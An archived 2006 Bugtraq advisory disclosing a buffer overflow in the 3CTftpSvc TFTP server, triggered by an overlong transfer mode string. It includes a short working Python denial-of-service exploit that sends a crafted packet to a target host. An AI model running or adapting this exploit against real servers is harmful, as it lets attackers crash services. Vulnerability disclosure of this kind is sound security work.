bugtraq
[Top] [All Lists]

TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting m

To: bugtraq@securityfocus.com
Subject: TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting mode)
From: liuqx@nipc.org.cn
Date: 26 Nov 2006 12:31:48 -0000
Delivered-to: sp-com-lists@consult.net
Delivered-to: bugtraq-list@securepoint.com
Delivered-to: mailing list bugtraq@securityfocus.com
Delivered-to: moderator for bugtraq@securityfocus.com
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@securityfocus.com; run by ezmlm
TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting mode)

------------------------------------------------------------------
SUMMARY:

3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://support.3com.com/software/utilities_for_windows_32_bit.htm 
or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip) 
It provides an implementation of the TFTPv2 protocol.

A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be 
exploited by attackers to execute arbitrary commands or cause a denial of 
service. This flaw is due to a buffer overflow error when handling an overly 
long transporting mode (more than 470 bytes) passed to a "GET" or "PUT" 
command, which could be exploited by malicious users to compromise a vulnerable 
system or crash an affected application.
----------
DETAILS:

 Vulnerable systems: 3CTftpSvc TFTP Server 2.0.1 and probable prior
 
Exploit:

#!/usr/bin/python
# Buffer Overflow (Long transporting mode) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = '192.168.1.11'
port = 69

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except: 
    print "socket() failed"         
    sys.exit(1)

filename = "A" 
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))

------------------------------------------
Liu Qixu
NCNIPC

<Prev in Thread] Current Thread [Next in Thread>
  • TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting mode), liuqx <=